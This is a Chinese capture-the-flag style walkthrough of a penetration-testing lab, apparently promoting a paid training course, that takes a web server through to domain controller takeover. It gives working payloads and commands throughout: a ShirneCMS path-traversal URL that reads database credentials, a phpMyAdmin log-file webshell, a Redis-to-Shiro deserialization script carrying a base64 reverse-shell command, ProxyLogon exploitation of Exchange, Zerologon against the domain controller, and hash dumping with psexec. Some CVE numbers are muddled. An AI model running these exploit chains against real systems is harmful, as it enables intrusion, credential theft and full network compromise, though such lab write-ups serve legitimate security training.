本次sunday靶场通关视频 已经制作成培训课程。
5.20 还有活动价
如需学习可参与 暗月的渗透测试培训
扫一扫 添加好友咨询学习
这次考核的内容涉及到 php代码审计和java代码审计。
内网比较简单,只要进入域内 拿到域控问题都不大。
找到WEB入口点 进入内网 再进行渗透就很容易获取域控的权限了。
本次参与的人数共100人 成功通过的人数是6人 虽然通过率不高 但是对此还是比较满意。
以下是通过考核同学的一篇都是干货。
源码地址:
gitee:https://gitee.com/shirnecn/ShirneCMS
github:https://github.com/shirne/ShirneCMS
已知漏洞:https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue组件信息:thinkphp、apache
服务器:linux(通过服务器是否对URL的大小写是否敏感来判断)
目录扫描:
phpmyadmin:phpmyadmin登陆页面
static:css、js、编辑器等文件
后台地址:index.php/admin
源码地址:https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial组件信息:spring-boot、shiro、redis、tomcat
目录扫描:
manager:tomcat管理页面
web主机内网地址为:192.168.10.174。
靶场临时关闭了,所以用本地环境测试,靶场打法与本地打法一致。直接重复操作即可。
ShirneCMS有一个[已知漏洞](shirne-1.2.0 exist path traversal bug · Issue #I5JRHJ · 语辰软件/ShirneCMS - Gitee.com),直接用已知漏洞的payload的测试。
payload:http://localhost/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=config.json&maxwidth=-1&referer=test
返回结果如下图,说明能够读取到文件,不显示文件内容,可能是文件处于base64编码状态,那么可以使用 burpsuite 抓取原始返回数据,然后将返回数据进行base64解码
原始数据如下图,应该是base64 数据后面的png导致文件无法显示
尝试将数据进行base64 解码,解码失败,可能是多次 base64 解码的结果,那么简化下payload,在读取文件
将上面的数据进行base64 解码,解码成功,可以查看到原始文件内容
重复上面方法可以读取 database.config 的内容,获取数据库的账号密码;
payload:http://192.168.18.5/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=../../../../config/database.php&maxwidth=-1&referer=test
将数据解码 得到了数据库的配置信息:用户名 root
、密码vVICDU1Erw
、数据库名cms
事后分析图片传输流程如下:
服务器端图片经过base64编码 》 网络传输 》 浏览器还原图片。那么当我们读取文件时,文件被base64编码了,但是base64编码后面的=png
表明了数据类型为图片,所以导致浏览器无法还原文件内容,想要读取原始文件内容就要舍弃=png
,然后在进行base64解码。
尝试用数据库的密码登录 phpmyadmin
,登录页成功了,那么可以尝试写shell,添加后台账号密码。管理员的表名为 sa_manger
,直接将本地测试环境中的 key 和 salt 填进去即可。尝试通过phpmyadmin
写shell 时,发现只能写到/tmp
目录下。登录后台查找能够包含 phpmyadmin
日志的模板。结果发现独立模板的分类别名其实是模板路径。
经过测试独立模板的默认名称为 view.tpl,可以利用 phpmyadmin 写全局日志到 /tmp 目录下,文件名称为 view.tpl。写shell的sql 命令如下。
# 1.查看当前日志记录的设置
SHOW VARIABLES LIKE 'general%';# 2. 开启日志记录
set global general_log = "ON";# 3. 更改日志记录的位置
set global general_log_file='/tmp/view.tpl'# 4. 向日志内下入 一句话木马
select '<?php phpinfo();?>';
在后台上找上面图片内的方法编辑模板,然后添加文章将 phpmyadmin 日志包含进去。
点击添加的文章看看效果,包含成功了。
按照上面的操作方法写入一句话。然后用蚁剑连接测试。连接成功,接下来就可以上线msf了。如果不能执行命令,linux环境下的蚁剑插件可以绕过 diable_function.
使用fscan 扫描,扫描结果如下,扫描到redis的弱密码。
(icmp) Target 192.168.10.175 is alive
[*] Icmp alive hosts len is: 1
192.168.10.175:80 open
192.168.10.175:22 open
192.168.10.175:8080 open
192.168.10.175:6379 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://192.168.10.175 code:200 len:0 title:None
[*] WebTitle: http://192.168.10.175:8080 code:200 len:461 title:None
[+] Redis:192.168.10.175:6379 abc123 file:/var/lib/redis/dump.rdb
[+] Redis:192.168.10.175:6379 like can write /var/spool/cron/
在网上找到两篇参考文章:
第一篇:redis未授权到shiro反序列化 - 先知社区
第二瓶:redis未授权到shiro反序列化之session回显马|NOSEC安全讯息平台 - 白帽汇安全研究院
这里用第一篇文章的方法,先安装安装 pyyso 模块,模块下载地址:https://github.com/cokeBeer/pyyso
然后将第一篇文章里面的 POC 改造下,改造结果如下。(其实菜鸟也想搞回显码)
import pyyso
import redisredis_conn=redis.StrictRedis(host='192.168.10.175', port=6379,password="abc123")
# whatever 是 session 名称
whatever=b"seemoontest"
key=b"shiro:session:"+whatever# 这列是调用上面安装的模块生成序列化的码
value=pyyso.cb1v192("bash -c {echo,A+JiAvZGV2L3RjcC80ME1Mi85+JjE=}|{base64,-d}|{bash,-i}")
redis_conn.set(key,value)print("end....")
注意:在java反序列化中用 bash 反弹shell,要将命令进行 base64编码,具体原因参考java中runtime.exec无法反弹bash shell的原因及解决办法
测试下POC效果
写入成功了。
先使用 nc 开启监听,命令 nc -lvnp <端口号>
登录网页,然后用'burp suite' 抓包,修改cookie并发送
查看 nc 是否接收到反弹的shell,这里接收到了
上线msf过程不再演示
fscan扫描只有 22 端口,想要获取shell只能通过 ssh 了。
在主机 web123 的 /home/weeb/.ssh
目录下发现 id_asa 文件。
使用 putty Key Generator
查看一下,发现是在 PC1上使用root用户创建的,
注意:高版本的 OPENSSL 在不指定格式时,生成的密匙对是 OPENSSH 格式的,而且密匙文件中会附带生成密匙文件的主机名和用户名,并不能说明密匙一定能用。
putty Key Generator
还可以将 OPENSSH转换为 RSA 格式。
下面时我在 kali 中生成的 RSA 密匙,其中附带了 主机名和用户名。如果把公钥写到A主机的TEST用户的 .ssh
目录下,那么对应的私钥登录 A主机 账户名就是 TEST
将 id_rsa 下载到本地,然后使用 id_rsa 登录PC1。
注意点:
使用 命令行的 SSH 登录,一定要更改 id_rsade 的权限为600,不然会报错。
如果将 id_rsa 放到了 /home/<用户名>/.ssh
目录下,那么可以直接使用 ssh <用户名>@<IP>
的方式登录。
如果不想放到 /home/<用户名>/.ssh
目录下,把么更改权限后,可以使用 ssh -i <id_rsa文件名> <用户名>@<IP>
的方式登录。
这里登录成功了,上线msf过程不在演示。
fscan扫描结果
(icmp) Target 10.10.10.137 is alive
[*] Icmp alive hosts len is: 1
10.10.10.137:445 open
10.10.10.137:139 open
10.10.10.137:135 open
10.10.10.137:81 open
10.10.10.137:80 open
10.10.10.137:8172 open
10.10.10.137:808 open
10.10.10.137:443 open
[*] alive ports len is: 8
start vulscan
[*] NetInfo:
[*]10.10.10.137
[->]exchange
[->]10.10.10.137
[*] NetBios: 10.10.10.137 exchange.sunday.club Windows Server 2012 R2 Standard 9600
[*] WebTitle: http://10.10.10.137 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://10.10.10.137 code:301 len:0 title:None 跳转url: https://10.10.10.137/owa/
[*] WebTitle: http://10.10.10.137:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://10.10.10.137:8172 code:404 len:0 title:None
通过浏览器查看 exchange 的443 端口,然后浏览网页源码获取到了 exchange 的发行时间。
通过微软官网的对照表确定 exchang 的版本为 Exchange Server 2013 CU10。
对照表地址:Exchange Server 内部版本号和发行日期 | Microsoft Learn
在网上搜索发现改编版本存在 CVE-2021–26855 漏洞。
测试了很多款EXP,终于找到了一个好用的。打到这里 OPENSSL 的报错问题耽误了很长时间,换了三个版本的 kali 才搞定,又排错很久才搞定。
工具地址:GitHub - herwonowr/exprolog: ProxyLogon Full Exploit Chain PoC (CVE-2021–26855, CVE-2021–26857, CVE-2021–26858, CVE-2021–27065)
如果使用这个工具出现报错,可以卸载 urllib3 库 ,更新requests后继续尝试。我这里时这么解决的。
工具的简略利用过程:
proxychains4 python exprolog.py -t 10.10.10.137 -e [email protected]
利用工具给出的URL来执行命令。
proxychains4 curl --request POST --url https://10.10.10.137/owa/auth/gk4l8.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k
由于时间有限,就不上线 msf。
fscan扫描结果
(icmp) Target 10.10.10.133 is alive
[*] Icmp alive hosts len is: 1
10.10.10.133:88 open
10.10.10.133:135 open
10.10.10.133:445 open
10.10.10.133:139 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo:
[*]10.10.10.133
[->]ad2012
[->]10.10.10.133
[*] 10.10.10.133 (Windows Server 2012 R2 Standard 9600)
使用 CVE-2021-1472 的 EXP 。CVE-2021-1472的EXP 网上很多,很好找。
漏洞利用过程如下:
重置 hash 为空
proxychains4 python cve-2020-1472-exploit.py ad2012 10.10.10.133
利用 kali 自带的 impacket 模块来导出 hash 。
roxychains4 impacket-secretsdump sunday.club/ad2012\[email protected] -no-pass
使用 impacket 工具包的 psexec 登录,
proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/[email protected]
先关闭防火墙,然后使用 msf 的 exploit/windows/smb/psexec
模块可以上线msf,
或者使用ipmacket-psexec
的 -file 选项来上传并运行后门。具体上线msf过程省略。
上完成后别忘了恢复密码,恢复密码示例:
导出相关注册表
shell > reg save HKLM\SYSTEM system.save #导出注册表
shell > reg save HKLM\SAM sam.save #导出注册表
shell > reg save HKLM\SECURITY security.save #导出注册表meterpreter > download system.save #下载至本地
meterpreter > download sam.save #下载至本地
meterpreter > download security.save #下载至本地shell > del /f system.save #远程删除导出的注册表文件
shell > del /f sam.save #远程删除导出的注册表文件
shell > del /f security.save exit #远程删除导出的注册表文件
获取原来的 hash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
还原域控的hash
python restorepassword.py whoamianony/[email protected] -target-ip 192.168.93.30 -hexpass 90272af666c9678353cd26510cd8970c52aefe22cd45f53bc2dfdc96b8029ea3a0472869f0d4dd8ce95807c4c095845fca4b06b27f11fb8936379b03b3d8bc65ad3a39b6fb0fd4eb4ea81bd1039b564746b3c55f8e5348d1dcef7b23b323d24325819d0ff5d9521bcfa0e3f4cba55076d08495ba5672ac3950a73666b52fe6102ded4dd7db515d9e634d2cf212163a9a0fada937d1e4895059e2521571d8799d0d90329bedbe7a311e3cfa94ef9a6034c2cd251555d327490df360d4498cba3cfebd97d1e1bd35000a48c7a61c62a91112c4707387ef1c9e48e1dd7920fb921d683dd79bb51a2bbd62956e4b72160b60
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏